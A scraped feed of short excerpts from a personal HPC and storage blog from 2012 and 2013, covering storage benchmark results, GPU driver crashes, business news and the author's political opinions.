https://blog.scalability.org/2013/05/should-be-able-to-talk-about-the-benchies-early-next-week/ Got confirmation from marketing folks that I won’t cause irreparable damage if I just put the link up. Next week. Early. https://blog.scalability.org/2013/05/new-posts-up-at-the-day-job-blog-and-yes-we-now-have-a-day-job-blog/ Wed, 29 May 2013 14:38:55 +0000 https://blog.scalability.org/2013/05/new-posts-up-at-the-day-job-blog-and-yes-we-now-have-a-day-job-blog/ See here: ( http://scalableinformatics.com/blog/ ) The way I looked at it, I needed a place to talk more product/solutions/work without having my own personal opinions on myriads of things weave throughout. That is, scalability.org is something of mine personally, that I write for, based upon whatever itch I wish to scratch. The blog at the day job lets us (collectively) talk about cool things without having that “me/mine” thing intermix. I’ll be updating here of course as well. https://blog.scalability.org/2013/05/what-an-intense-3-weeks/ Mon, 27 May 2013 21:03:20 +0000 https://blog.scalability.org/2013/05/what-an-intense-3-weeks/ I can’t talk publicly about everything yet, just its been so demanding of my time. I’ve run and debugged benchmarks, flown in to meet customers and others, generated many quotes, given many presentations. In this, I’ve got two hard deadlines for getting stuff written that I have to do before I can write anything here. So let me crank on those in the next 24 hours, and I’ll update. https://blog.scalability.org/2013/05/when-youve-lost-jon-stewart/ Thu, 16 May 2013 12:16:03 +0000 https://blog.scalability.org/2013/05/when-youve-lost-jon-stewart/ Here in the US, we have a number of scandals brewing. Many of those for the party in control of the White House and the Senate would like to have you believe that these are in fact tempests in teapots. In this case, there are at least 2 Nixonian scandals going non-linear here, with a 3rd trying to break through. The political left is doing all it can to wave off one of them, though this is getting progressively harder by the day as more information comes out. https://blog.scalability.org/2013/05/what-would-you-do-if-you-had-infinite-bandwidth-and-iops-coupled-directly-to-your-computing/ Wed, 08 May 2013 04:27:10 +0000 https://blog.scalability.org/2013/05/what-would-you-do-if-you-had-infinite-bandwidth-and-iops-coupled-directly-to-your-computing/ Imagine you have some … I dunno … gargantuan amount of bandwidth available, to and from your disks. And you have just positively insane IOP rates, at these very high bandwidths. And then you tightly couple a few hundred processor cores, and a few terabytes of memory. What would you consider “gargantuan” bandwidth? What would you consider “insane” IOP rates? And most importantly, if you had the type of IO fire power you considered gargantuan and insane, what would you do with this? https://blog.scalability.org/2013/04/dont-know-if-i-mentioned-it-but-the-day-job-has-a-new-website/ Sun, 28 Apr 2013 23:25:46 +0000 https://blog.scalability.org/2013/04/dont-know-if-i-mentioned-it-but-the-day-job-has-a-new-website/ Take a gander. Some things are missing, and our marketing folks are developing the content where needed, and revising it where we have existing content. Its quite refreshing to see this. It will get better over time. Its running in our facility now, and likely we’ll have a few clones in the cloud as well. But thats for later. https://blog.scalability.org/2013/04/having-fun-writing-a-presentation-about-molecular-dynamics-and-big-data/ Sun, 28 Apr 2013 03:28:54 +0000 https://blog.scalability.org/2013/04/having-fun-writing-a-presentation-about-molecular-dynamics-and-big-data/ Who’da ever thunk that MD simulations would start to become large enough to present IO and analysis problems? Way way back when the digital supercomputing dinosaurs roamed the earth, looking for problems to crunch on, I simulated gallium arsenide on some of these machines. I’d be lucky to get 100 time steps done, in a week, for 64 atoms. 64 atoms in double precision, with position, velocity, and atom type, lets be generous and call this 64 bytes in binary or 80 bytes, one terminal line, per atom in text. https://blog.scalability.org/2013/04/do-we-really-have-enough-native-stem-workers-in-the-us/ Fri, 26 Apr 2013 20:01:53 +0000 https://blog.scalability.org/2013/04/do-we-really-have-enough-native-stem-workers-in-the-us/ Yes, actually we do. Too many. Turns out that little law of supply and demand does in fact hold true. The higher the demand for something in limited supply, the higher the price (wages) you will pay for it. By applying forces to this law, you impact a number of outcomes. That is, if you start monkeying around with the supply, sure, you can adjust the price you pay for the STEM. https://blog.scalability.org/2013/04/why-i-am-taking-a-while-to-post-the-results/ Mon, 22 Apr 2013 23:31:31 +0000 https://blog.scalability.org/2013/04/why-i-am-taking-a-while-to-post-the-results/ In short, I am trying to verify what we measured. Its repeatable, I’ve been measuring it for a week now, and having trouble with it, but I want to make absolutely sure I get this correct. Because these are big numbers. Very. Very. Big. It would be annoying if I made a mistake. So I am double/triple/quadruple checking. https://blog.scalability.org/2013/04/social-media-overload/ Mon, 22 Apr 2013 21:32:27 +0000 https://blog.scalability.org/2013/04/social-media-overload/ Definition: When the amount of social media that everyone expects you to consume with a myriad of different, incompatible, and often annoying apps, absorbs so much of your time that your productivity drops … you decide that in the interests of your own personal sanity, you will spend more time with your family, your dog, and your friends, than dealing with {facebook,twitter,linkedin,RANDOM_SOCIAL_MEDIA_NAME} streams which steal time from the important things in life. https://blog.scalability.org/2013/04/it-must-be-some-obscure-law-of-nature/ Mon, 22 Apr 2013 20:40:56 +0000 https://blog.scalability.org/2013/04/it-must-be-some-obscure-law-of-nature/ … whereby when I have the least time to spend on a particular task, there is an ordering of requests that I maximize the time spent on that task using the least efficient mechanisms possible. Put another way, when I am busy, more people seek more of my time to handle things that I shouldn’t need to be involved in. Or another way … simple things should be trivial, complex things possible, and yet the universe appears to arrange it self so that simple things become complex, and complex things become impossible. https://blog.scalability.org/2013/04/back-with-some-benchmarks-for-sicloud/ Mon, 22 Apr 2013 01:01:31 +0000 https://blog.scalability.org/2013/04/back-with-some-benchmarks-for-sicloud/ For the day job. They are … well … pretty nice. What is siCloud you might ask? Well, think a very … very fast storage and computing cloud, leveraging many technologies we’ve developed. You will be hearing more about this soon. And I’ll show some numbers and pictures in another post. But before I get them up, anyone want to hazard a guess on the aggregate bandwidth and IOP rate for this system? https://blog.scalability.org/2013/04/again-terribly-busy/ Tue, 16 Apr 2013 14:38:16 +0000 https://blog.scalability.org/2013/04/again-terribly-busy/ Have an order which is absorbing all of my cycles, and this is coupled with a nice springtime cold, and an elbow injury. Now if my dog bites me, my month will be complete. Will start posting soon, once I get the the burn-in running. To give you a sense of the size of this order, we are installing additional power and AC capacity in our lab (its happening now). We just asked our landlord if they have a larger space in this complex (its built into our lease, as we weren’t sure of our growth rates), and they really don’t have anything we can use, so we might just suffer here for another year, and build up capacity in NJ. https://blog.scalability.org/2013/04/off-to-hpc-on-wall-street/ Sat, 06 Apr 2013 02:03:55 +0000 https://blog.scalability.org/2013/04/off-to-hpc-on-wall-street/ Looking forward to this. Our booth is smaller, but in a higher traffic area. We have 2 systems with us, a siFlash and a 60 bay JackRabbit. And we are putting together a small get-together after the show. This should be fun. I am looking forward to it. I’ll try to tweet from the show floor. https://blog.scalability.org/2013/04/this-will-not-end-well/ Mon, 01 Apr 2013 17:06:46 +0000 https://blog.scalability.org/2013/04/this-will-not-end-well/ Watching the slow motion train wreck in Cyprus made me wonder exactly whom the target of the money grab was. And more importatly, whether or not the people making demands had any clue that their victory was, at best, Pyrrhic, and at worst, a serious contagion. Any financial system in operation is built upon various levels of trust, implicitly in the case of the least risky capital storage system. You know that you can trust, within reasonable expectations and parameters, that capital that you deposit there can be retrieved later. https://blog.scalability.org/2013/03/you-think-i-would-learn-already/ Sun, 31 Mar 2013 16:48:14 +0000 https://blog.scalability.org/2013/03/you-think-i-would-learn-already/ Its called “fractured bone spur tip of olecranon”. It means I’ve got a broken bone in my elbow area. My arm is in a sling and immobilized. Got it while sparring at a karate tournament. Landed hard on my elbow due to a slippery floor. Of course its my right arm, the one I write with. I am typing this with one hand, using the hunt and pick method. Seriously need voice IO for machines. https://blog.scalability.org/2013/03/products-versus-projects/ Fri, 29 Mar 2013 15:32:23 +0000 https://blog.scalability.org/2013/03/products-versus-projects/ Long ago I pondered Projects, inherently, are un-finished entities. There are missing things. There are “un-implemented features” which would be necessary for a product. Like say, an on-off switch, among other things. Products are inherently compromises between design, realities of implementation costs/schedules/complexities, etc. Software developers often get into the endless cycle of tweaking features and improving systems so that they miss target dates. We see this with larger scale projects as well, unless someone adopts the iron-fist rule on adding/tweaking versus shipping/learning/improving $version++. https://blog.scalability.org/2013/03/windows-8-is-terrible/ Tue, 26 Mar 2013 00:05:43 +0000 https://blog.scalability.org/2013/03/windows-8-is-terrible/ No, thats unfair to things that are truly terrible. It sets a low mark … a really … really … low mark. Trying to help a relative with adding a printer. A printer that happily works under windows 7. No issues, just works. Works under Linux on my laptop here. Nothing special, just works. But windows 8? Oh … no … it … doesn’t. Drivers (the built in ones we are told to use) don’t work. https://blog.scalability.org/2013/03/youknowyouaretravelingwaytoomuchwhen/ Mon, 25 Mar 2013 22:49:37 +0000 https://blog.scalability.org/2013/03/youknowyouaretravelingwaytoomuchwhen/ … the guy driving the car rental bus recognizes you and talks about how often you’ve been there. https://blog.scalability.org/2013/03/this-simply-needs-to-be-said-networkmanager-must-be-neutered/ Sun, 24 Mar 2013 21:47:08 +0000 https://blog.scalability.org/2013/03/this-simply-needs-to-be-said-networkmanager-must-be-neutered/ It should never, ever be enabled by a default install on a server. Ever. Under any circumstances. For any reason. I’d even argue it should never be installed by default for any reason on a server. Just fixed another NetworkManager-caused problem (TM). Modifying /etc/resolv.conf on a server after I changed the NICs as indicated. I mean … seriously folks? https://blog.scalability.org/2013/03/failing-10gbe-nics/ Sun, 24 Mar 2013 18:14:40 +0000 https://blog.scalability.org/2013/03/failing-10gbe-nics/ I won’t mention vendor by name here. Needless to say, I am unhappy with the failure rate on their NICs. We had a number of units we bought for internal use as well as for customer use. The NICs would throw various driver exceptions, and kernel panic the machines. It was doing this to our central server this past week, while I had been lighting up kvm’s on an app server, specifically kernel panicking under even moderate load. https://blog.scalability.org/2013/03/update-on-ipmi-console-logger/ Sun, 24 Mar 2013 17:59:34 +0000 https://blog.scalability.org/2013/03/update-on-ipmi-console-logger/ Config now comes from some nice and simple json, and it handles multiple machines with aplomb. See the git repository for the latest. The config file example is in there, and you can replicate the n01-ipmi section with more nodes trivially. Coming next is getting config from a trusted web server, along with registering the client to the trusted web server. This prevents things like passwords from showing up in the clear, though you can always create a lower privileged user to access the console for monitoring. https://blog.scalability.org/2013/03/presentation-from-kx-2013-nyc-user-group-meeting-up/ Thu, 21 Mar 2013 13:56:38 +0000 https://blog.scalability.org/2013/03/presentation-from-kx-2013-nyc-user-group-meeting-up/ at the $day job. See it here. https://blog.scalability.org/2013/03/time-wasting-phone-call-detector-regex/ Wed, 13 Mar 2013 18:35:06 +0000 https://blog.scalability.org/2013/03/time-wasting-phone-call-detector-regex/ So there you are, sitting at your desk trying to do your work. A call comes in, you pick it up. Me: $day_job, Landman speaking Them: I would like to speak to (garbled) about (garbled) meta-Me: [start 15 second BS detector clock filter] Me: I’m sorry, I can’t hear you … who are you and what is this call about? Them: (barely audible) I am XYZ PDQ representing ABC DEF, and how is your day going? https://blog.scalability.org/2013/03/the-sequester-is-here/ Sat, 09 Mar 2013 16:40:08 +0000 https://blog.scalability.org/2013/03/the-sequester-is-here/ Suffice it to say that much hot air was blown over the sequester in the media. Really, there was much tearing of clothes over this. Much righteous indignation that someone in government, somewhere, would have to make (not so very hard) decisions about where to trim budgets. We needed this, as the US government is so completely broken as to no be able to propose a reasonable budget, pass a reasonable budget, nor listen to and work with ideas from other portions of the legislative branch which want to work on reasonable budgets. https://blog.scalability.org/2013/03/more-blurring-of-lines-between-platform-providers-and-competitors/ Sat, 09 Mar 2013 15:36:45 +0000 https://blog.scalability.org/2013/03/more-blurring-of-lines-between-platform-providers-and-competitors/ I had pointed out recently that large platform as a service, or pretty much any *aaS type model, where you present your value atop someone elses platform, leveraging their technologies, is ripe for having the *aaS provider decide they want to move into your space. Once you’ve done the hard work of proving there is a space in the first place. Well, the Register has an article on this now. I gave a number of specific examples, and pointed out that Amazon isn’t the first to do this, Microsoft had previously done this to the level of an art form. https://blog.scalability.org/2013/02/there-are-no-silver-bullets/ Thu, 28 Feb 2013 05:23:21 +0000 https://blog.scalability.org/2013/02/there-are-no-silver-bullets/ … and anyone promising you one is selling you something. This is true everywhere, though especially so in massively overhyped markets. There are no secret incantations that will tease actionable insights out of gargantuan bolus of data. Yet, from all the “company X now has a hyper optimized, purple colored Hadoop distro, with a pony” announcements, one might think that it was a panacea … a panopticon with infinite ability to extract the most profound and profitable nuggets from mountains of steaming piles of bits. https://blog.scalability.org/2013/02/bow-before-big-data/ Wed, 27 Feb 2013 02:13:15 +0000 https://blog.scalability.org/2013/02/bow-before-big-data/ Its a Dilbert cartoon, located here. Originally seen on Mu Sigma blog. https://blog.scalability.org/2013/02/a-replacement-laptop-for-my-daughter/ Mon, 25 Feb 2013 17:24:54 +0000 https://blog.scalability.org/2013/02/a-replacement-laptop-for-my-daughter/ Her old Dell Inspiron died, again. First it was a motherboard. Then a hard disk. And a cracked bezel. Now it looks like its a motherboard again. The power supply bits are, IMO, completely unforgivable. Until Dell lets us use a replacement supply that is not manufactured by Dell, we won’t be buying Dell laptops. I suspect this will be a while. But this laptop, and my wife’s version, have lots of problems. https://blog.scalability.org/2013/02/reaching-saturation-our-ongoing-glut-of-ph-d-educated-talent/ Mon, 25 Feb 2013 16:20:08 +0000 https://blog.scalability.org/2013/02/reaching-saturation-our-ongoing-glut-of-ph-d-educated-talent/ Achieving a Ph.D. is one of the highest academic goals one can set. You work insanely hard, you sacrifice income, starting a family, and many other things, in the pursuit of this (in most cases). And when you finish, you are, theoretically, in an upper strata of accomplishment. Many (including myself) entered into this path, decades ago, based upon (now known to be either overtly falsified, or completely incompetently analyzed) data which suggested a dearth of scientists needed to staff the ever growing colleges and universities departments, and the massively growing industrial scientific community, as a solid rationale for pursuing such a difficult course. https://blog.scalability.org/2013/02/why-posting-has-been-slow/ Mon, 25 Feb 2013 00:55:49 +0000 https://blog.scalability.org/2013/02/why-posting-has-been-slow/ Time. Basically I have none. I steal some here and there to get things out, but I have been completely swamped. Or I post when I am up late at night/early morning, and can’t get to sleep (occasional hazard of running a growing business). On a happy note, the company is growing. We have brought 4 people on board over the last six months, with an additional 2-4 planned near term. https://blog.scalability.org/2013/02/as-the-clouds-change/ Wed, 20 Feb 2013 00:18:45 +0000 https://blog.scalability.org/2013/02/as-the-clouds-change/ This is going to take a few paragraphs to set up, to please bear with me. One of the harder aspects to building a business atop someone else’s platform is a fundamental dependency upon them that you create. Your business depends, to a very large extent upon their good will, and their desire to grow an ecosystem. Every now and then you get more predatory platform providers. These groups like to take control of larger segments of ecosystem, and provide a product or service that gets harder for others to compete with, because, in part, they are naturally disadvantaged in doing so. https://blog.scalability.org/2013/02/ati-experiment-update-day-19/ Tue, 19 Feb 2013 22:06:28 +0000 https://blog.scalability.org/2013/02/ati-experiment-update-day-19/ So here I am, with an ATI W5000 card driving my dual display Linux desktop. I had pulled the NVidia GEForce card, as the driver or the card kept tossing Xid: NVRM errors, that I could not make go away. Googling this error took me back to years of people dealing with similar issues, and never getting a fix. Just reporting the same problem. That was very annoying. The day job has customers with these cards … exactly what are we supposed to be telling them? https://blog.scalability.org/2013/02/walkingspam-that-you-cannot-easily-filter-electronically/ Sun, 17 Feb 2013 17:45:49 +0000 https://blog.scalability.org/2013/02/walkingspam-that-you-cannot-easily-filter-electronically/ [update] Ok, this was amusing. An SEO group commented with a link back to their SEO site. Our spam filter caught it. (/shakes head) We had the most … well … interesting event happen at the office a few days ago. You know how, in your spam filtered email you get hundreds or thousands of items with wording something like this: If you were my Client you would be # 1 on Google or I can make you # 1 on Google in 3 Weeks. https://blog.scalability.org/2013/02/a-lightly-armed-jackrabbit-60-bay-unit/ Wed, 13 Feb 2013 23:35:15 +0000 https://blog.scalability.org/2013/02/a-lightly-armed-jackrabbit-60-bay-unit/ This is 8x nodes (2x EnergyCards) of Calxeda goodness. We expect to be able to show off (and demo!) a live, more heavily ARMed unit shortly. [ ](/images/ARMed_JackRabbit.jpg) https://blog.scalability.org/2013/02/putting-a-60-bay-jackrabbit-through-some-basic-tests/ Wed, 13 Feb 2013 23:09:07 +0000 https://blog.scalability.org/2013/02/putting-a-60-bay-jackrabbit-through-some-basic-tests/ Basic (conservative) configuration of the day jobs' high performance tightly coupled storage system, no SSDs (apart from the OS drives). RAID6 LUNs, no RAID0’s. This is spinning rust folks. Nothing but spinning rust. In a realistic configuration. And no, we haven’t yet begun to tune this. Streaming writes, 1 thread per LUN: Run status group 0 (all jobs): WRITE: io=1279.5GB, aggrb=5944.6MB/s, minb=5944.6MB/s, maxb=5944.6MB/s, mint=220405msec, maxt=220405msec 5.9 GB/s sustained writes for this case. https://blog.scalability.org/2013/02/karma/ Mon, 11 Feb 2013 22:38:14 +0000 https://blog.scalability.org/2013/02/karma/ On this blog, I’ve pointed out the failings of many others. I’ve hinted at having to take ownership for others failures as the customer sees us, and not the people behind us (often messing with us). Our job is, among many other things, to hide that silliness away from them so they can focus upon their issues. This is not to say we/I don’t mess up. Most of the time its minor. https://blog.scalability.org/2013/02/getting-out-of-dodge/ Sat, 09 Feb 2013 18:58:03 +0000 https://blog.scalability.org/2013/02/getting-out-of-dodge/ Thursday morning, the weather prediction was for 1-3 inches of snow in Secaucus, NJ. I’d been in a data center working the past week on bringing a system to final state. Its done modulo some cosmetic and minor functional issues that should not impede usage. So we accomplished this mission, though I am something of a perfectionist, so we’ll be going back out in a week or so to work on the cosmetic bits. https://blog.scalability.org/2013/02/enable-changes-or-enforce-design/ Sat, 09 Feb 2013 18:37:12 +0000 https://blog.scalability.org/2013/02/enable-changes-or-enforce-design/ We have this dilemma. Customers who see our siCluster systems often like everything they see, but want “minor” changes. And we evaluate the changes they want for impact, describe it, and suggest a go/no-go based upon many aspects. Including supportability, stability, etc. We like providing this flexibility. Which gives rise to the dilemma. For us to provide supportable systems that work in a predictable manner, we have to cordon off changes. https://blog.scalability.org/2013/02/baseline-test-for-technical-staff/ Sat, 02 Feb 2013 23:26:06 +0000 https://blog.scalability.org/2013/02/baseline-test-for-technical-staff/ As usual, xkcd knocks it out of the park. [ ](http://xkcd.com/1168/) I talked about qualifications for our SE position. The ability to talk customers through complex vi-based configuration sessions for system files, while driving 70 mph on the freeway, is a hard requirement. Not quite a munition defusing effort, but close enough. Unfortunately in something like the game of telephone, what I originally wrote was … transmogrified … into something very different. https://blog.scalability.org/2013/02/a-week-into-the-ati-experiment/ Fri, 01 Feb 2013 22:26:48 +0000 https://blog.scalability.org/2013/02/a-week-into-the-ati-experiment/ So I was sick of the crashes in the NVidia driver. Nouveau wasn’t that good. Maybe someday it will be, but its really not that useful to me. So I opted for an ATI W5000 card. Initial install was rocky. The card used VESA drivers, and that was fine for initial boot. Accelerated drivers … didn’t. They were slower than the VESA drivers. Window movements were jerky. It felt … wrong … somehow. https://blog.scalability.org/2013/01/you-asked-for-it-riemann-zeta-function-in-javascript-or-node-js/ Wed, 30 Jan 2013 01:54:20 +0000 https://blog.scalability.org/2013/01/you-asked-for-it-riemann-zeta-function-in-javascript-or-node-js/ Ok, this was fun. Its been a while since I dusted off good old rzf … ok, its been 12-ish days … but I really have been wanting to try recoding it in javascript. As you might (or might not) remember, I asked questions (a very long time ago) about quality of generated code from a few different C compilers (and eventually the same code in Fortran). I rewote inner loops to hand optimize the compilation, and then recoded as SSE2. https://blog.scalability.org/2013/01/resonances/ Tue, 22 Jan 2013 01:59:15 +0000 https://blog.scalability.org/2013/01/resonances/ This past December, 1 year to the day, and in fact, the very hour my wife was waking up from her surgery, we were at a Trans Siberian Orchestra concert. I like TSO quite a bit, and this had serious significance for us. Like the XKCD biopsiversary, this was our own little F-U to cancer. Not directly related to this, they played a rearranged version of a song on their newer CD. https://blog.scalability.org/2013/01/and-the-positions-are-now-finally-open/ Fri, 18 Jan 2013 06:28:44 +0000 https://blog.scalability.org/2013/01/and-the-positions-are-now-finally-open/ See the Systems Engineering position here, and the System Build Technician position here. I’ll get these up on the InsideHPC.com site and a few others soon (tomorrow). But they are open now. For the Systems Engineering position, we really need someone in NYC area with a strong financial services background … Doug made me take out the “able to leap tall buildings in a single bound” line, as well as the “must be able to talk customers through complex vi sessions on system configuration files while driving 70 mph on a highway. https://blog.scalability.org/2013/01/massive-unapologetic-firepower-24gbs-from-siflash/ Wed, 16 Jan 2013 15:11:18 +0000 https://blog.scalability.org/2013/01/massive-unapologetic-firepower-24gbs-from-siflash/ Oh yes we did. Oh yes. We did. This is the fastest storage box we are aware of, in market. This is so far outside of ram, and outside of OS and RAID level cache … [root@siFlash ~]# fio srt.fio ... Run status group 0 (all jobs): READ: io=786432MB, aggrb=23971MB/s, minb=23971MB/s, maxb=23971MB/s, mint=32808msec, maxt=32808msec This is 1TB read in 40 seconds or so. 1PB read in 40k seconds (1/2 a day). https://blog.scalability.org/2013/01/doing-something-ive-not-done-in-a-long-time/ Wed, 16 Jan 2013 14:12:17 +0000 https://blog.scalability.org/2013/01/doing-something-ive-not-done-in-a-long-time/ … buying a non-NVidia GPU product. Specifically the ATI FirePro W5000 for my desktop. I need to see if this is any more stable than the NVidia GTX series products. Feedback from customers running various flavors of Fermi, Kepler, Tesla, … suggest that the problem that was reported to me, that I’ve run into, is fairly wide spread. It looks like a particular version of the driver (295.33) may not trip this problem. https://blog.scalability.org/2013/01/nvidia-crashing-x-server-madness/ Tue, 15 Jan 2013 20:22:48 +0000 https://blog.scalability.org/2013/01/nvidia-crashing-x-server-madness/ I’ve been having a problem with a newly installed Mint 14 machine. A customer has been having this problem with a Scientific Linux 6.x machine. Some time after lighting up the machine, and usually after using an OpenGL application, the NVidia driver effectively hard locks, dumping error messages like this into the system logs. [ 5444.863396] NVRM: Xid (0000:85:00): 13, 0003 00000000 00000000 00000ff4 0f000000 00000000 [ 5444.867446] NVRM: Xid (0000:85:00): 9, Channel 00000003 Instance 00000000 Intr 00000010 [ 5444. https://blog.scalability.org/2013/01/playing-with-avx/ Tue, 15 Jan 2013 07:01:49 +0000 https://blog.scalability.org/2013/01/playing-with-avx/ I finally took some time from a busy schedule to play with AVX. I took my trusty old rzf code (Riemann Zeta function) and rewrote the time expensive inner loop in AVX primatives hooked to my C code. As a reminder, this code is a very simple sum reduction, and can be trivially parallelized (sum reduction). Vectorization isn’t as straightforward, and I found that compiler auto-vectorization doesn’t work well for it. https://blog.scalability.org/2013/01/precision-in-languages/ Mon, 14 Jan 2013 03:39:55 +0000 https://blog.scalability.org/2013/01/precision-in-languages/ I’ve talked about precision in previous posts quite a while ago. I had seen some interesting posts about Javascript, which suggested that it was not immune to the same issues … if anything it was as problematic as most other languages, and maybe had a little less “guarding” the programmer against potential failure modes. This is not a terrible problem, I just found it amusing. Understand that I actually like Javascript. https://blog.scalability.org/2013/01/will-the-us-default-soon/ Mon, 14 Jan 2013 02:44:50 +0000 https://blog.scalability.org/2013/01/will-the-us-default-soon/ Quite possibly. We have a toxic mixture of overspending, insufficient revenue to cover the spending, and a borrowing limit. Several ideas have been floated over the last few weeks, including minting a $1T USD coin and depositing in the federal reserve. Thats $1012 USD folks. This is sort of like quantitative easing, aka printing more money, but far far worse. Anyone whom has ever been early into a startup and watched the value of their options get diluted with each new capital infusion knows exactly what this is. https://blog.scalability.org/2013/01/game-over-and-thank-you-for-playing/ Sat, 12 Jan 2013 06:47:50 +0000 https://blog.scalability.org/2013/01/game-over-and-thank-you-for-playing/ Remember this? Can we all just finally admit that not only isn’t it secure, but you can drive a semi truck through its security holes? Unfortunately, many of the kvm-over-ip stacks still use it. So you have these embedded web services things to talk to your java client, your horrifically insecure java client, to ship bytes out over the network to give you console. Can we all start demanding an end to these? https://blog.scalability.org/2013/01/rethinking-taking-americanexpress-in-the-day-job/ Wed, 09 Jan 2013 19:12:03 +0000 https://blog.scalability.org/2013/01/rethinking-taking-americanexpress-in-the-day-job/ Long backstory which boils down to this: Every time a customer tries to pay with AMEX, we have to deal with a broken/borked verification system. None of our other credit card companies have issues, just AMEX. This time, they called up and questioned we were legitimate. Ok. They really did. I am going to start recording my calls with them, you know, for quality, and entertainment, purposes. After 5 minutes of dealing with the rep who called us, I asked for her manager. https://blog.scalability.org/2013/01/tiburon-updated-with-diskless-centos-6-3-and-ubuntu-12-04-environments/ Tue, 08 Jan 2013 23:11:39 +0000 https://blog.scalability.org/2013/01/tiburon-updated-with-diskless-centos-6-3-and-ubuntu-12-04-environments/ Our cluster/cloud OS environment now has modules for CentOS 6.x and Ubuntu 12.04. The latter is the LTS system. We’ve got some other tools/bits to setup for this, including working to see if we can build an ARM based PXE booting stack. We are working on making a number of cluster/cloud file system setups as absolutely painless as possible. More later. https://blog.scalability.org/2013/01/comments-on-javascript-being-the-new-perl/ Mon, 07 Jan 2013 08:06:19 +0000 https://blog.scalability.org/2013/01/comments-on-javascript-being-the-new-perl/ This has been making the rounds on Hacker News, Slashdot and others. The author’s central thesis is that Javascript has become something akin to the swiss army knife of cool programming, though its missing bits. He then compares this to Perl. He notes: Hot is subjective, and in a very real sense, just last year, a teenager in his bedroom not only built a very cool tool, and company, but he sold it. https://blog.scalability.org/2013/01/sad-end-to-supercomputer-in-new-mexico/ Sun, 06 Jan 2013 16:47:56 +0000 https://blog.scalability.org/2013/01/sad-end-to-supercomputer-in-new-mexico/ I’ve written about this before, about 6 months ago. Basically, the Encanto supercomputer in New Mexico, is being disassembled. The parts appear to be headed to universities in New Mexico, so its not a complete loss, but they will still have to pay for maintenance and power/cooling. What I had written before may be summarized as “there are no silver bullets” to economic growth and prosperity. There are no magic stimuli that automatically return profits atop principal for investment purposes. https://blog.scalability.org/2013/01/is-2013-the-year-that-10gbe-finally-breaks-out-to-mass-adoption/ Thu, 03 Jan 2013 19:52:03 +0000 https://blog.scalability.org/2013/01/is-2013-the-year-that-10gbe-finally-breaks-out-to-mass-adoption/ For years, we’ve been hearing how this year (for all values of this year) is the year 10GbE takes off. I’ve commented on this a number of times, from the context of 10GbE breaking out in clusters, 10GbE killing off infiniband, etc. Looking back, these comments extend 6+ years into the past. The point I have always argued as being the most important, has been cost per port. Well, the technical press noted this today. https://blog.scalability.org/2013/01/more-ma-nexsan-snarfed-by-imation/ Thu, 03 Jan 2013 04:20:53 +0000 https://blog.scalability.org/2013/01/more-ma-nexsan-snarfed-by-imation/ Ok, I didn’t quite see this one coming. Really. Honestly, I’ve not paid much attention to Imation in a fairly long time. I do remember tape drives and systems attached to parallel ports from them. I might even have one in my basement somewhere. Nexsan is an array vendor. For those not in the know, the array business is in a slow motion collapse, dumb arrays and associated storage targets aren’t a growth area. https://blog.scalability.org/2013/01/nails-it/ Tue, 01 Jan 2013 22:15:00 +0000 https://blog.scalability.org/2013/01/nails-it/ Dave Barry in his usual fine form … summarizes our year. The one take away should be … WHAP https://blog.scalability.org/2013/01/i-have-joined-the-dark-side/ Tue, 01 Jan 2013 19:52:51 +0000 https://blog.scalability.org/2013/01/i-have-joined-the-dark-side/ There is now a Mac Mini on my desk. It is named neutrino. It is light. This isn’t getting rid of my Linux machine(s) by any stretch. And now having used neutrino for a day and change now, I note a few things. This list might make some howl in derision, but these are my observations. The default fonts and font setup on Mountain Lion is execrable. I mean, really really horrible. https://blog.scalability.org/2013/01/1-january-2013-its-over-the-cliff-we-go/ Tue, 01 Jan 2013 16:10:15 +0000 https://blog.scalability.org/2013/01/1-january-2013-its-over-the-cliff-we-go/ [update] This pretty much says it all. [update 2] … and … they … fold. A bad deal, about to be voted into law. As they said, elections have consequences. Whatever happens, they (WH and Senate) now own it. No cuts, just taxes. Even though our problem is way too much spending and mis-targeted tax increases. Less than 10 hours into the new year for us here in GMT-5. There is some aspect of humanity whereby many view this as a hopeful time, a chance to “begin anew”. https://blog.scalability.org/2012/12/going-over-the-us-fiscal-cliff/ Thu, 27 Dec 2012 03:02:06 +0000 https://blog.scalability.org/2012/12/going-over-the-us-fiscal-cliff/ [update] There’sa good piece on the impact upon the potential negotiations and its impact upon one party. As I noted below, any deal done between 1-Jan and now will be a bad deal. The only way to get real spending cuts is to go over the cliff, so lets do this. I don’t care about the political fortunes impact. I care about the long term impact upon the country of out of control spending. https://blog.scalability.org/2012/12/this-has-been-another-banner-year-for-the-day-job/ Sat, 22 Dec 2012 16:42:41 +0000 https://blog.scalability.org/2012/12/this-has-been-another-banner-year-for-the-day-job/ For the last 4 years, we’ve had significant year over year growth. We set records every year. 2 years ago was a barn stormer of a year. Last year reset the definition of barn storming for us. And this year. Yes, this year. I’ve hinted that we were following a hard/fast growth path. Some folks who read this know the trajectory we are on. 38% growth over last year. Which was 60% growth over the year before. https://blog.scalability.org/2012/12/ot-helping-a-good-cause/ Sat, 22 Dec 2012 15:42:12 +0000 https://blog.scalability.org/2012/12/ot-helping-a-good-cause/ A few months ago,we had a new addition to our family. This is Captain, and he is what is called a rescue dog. The organization that rescued him doesn’t have that as their primary mission, they build shelters and provide food for dogs whom are chained up outside. Our Captain was one such. He was badly abused, and 4 months later, has major trust issues, and bad nightmares. He has recovered from the physical abuse. https://blog.scalability.org/2012/12/sc12-video/ Thu, 20 Dec 2012 02:21:18 +0000 https://blog.scalability.org/2012/12/sc12-video/ If you haven’t figured it out, I’ve been busy. This is the very good sort of busy. Rich at InsideHPC.com (you read this, right? Regularly? Right? You should if you don’t) did a whole set of interviews at SC12. There’s some very cool stuff in them. Here’s ours. I’ll tell you the funny stuff at the end. So this is like 8:30am. I’ve not had my coffee, so my brain is stuck in POST mode, and I am subject to race conditions (mouth stumbling ahead of single brain cell that might be awake). https://blog.scalability.org/2012/12/sparse-file-wtfs-on-linux/ Wed, 19 Dec 2012 21:41:54 +0000 https://blog.scalability.org/2012/12/sparse-file-wtfs-on-linux/ Create a big file … [root@jr5-lab test]# dd if=/dev/zero of=big.file.1 bs=1 count=1 seek=1P 1+0 records in 1+0 records out 1 byte (1 B) copied, 0.000159797 seconds, 6.3 kB/s [root@jr5-lab test]# ls -alF total 4 drwxrwxrwx 2 root root 23 Dec 19 17:33 ./ drwxr-xr-x 6 root root 73 Nov 6 11:07 ../ -rw-r--r-- 1 root root 1125899906842625 Dec 19 17:33 big.file.1 [root@jr5-lab test]# ls -alFh total 4.0K drwxrwxrwx 2 root root 23 Dec 19 17:33 . https://blog.scalability.org/2012/12/microsoft-oses-will-likely-be-losing-openmpi-support/ Tue, 18 Dec 2012 16:13:25 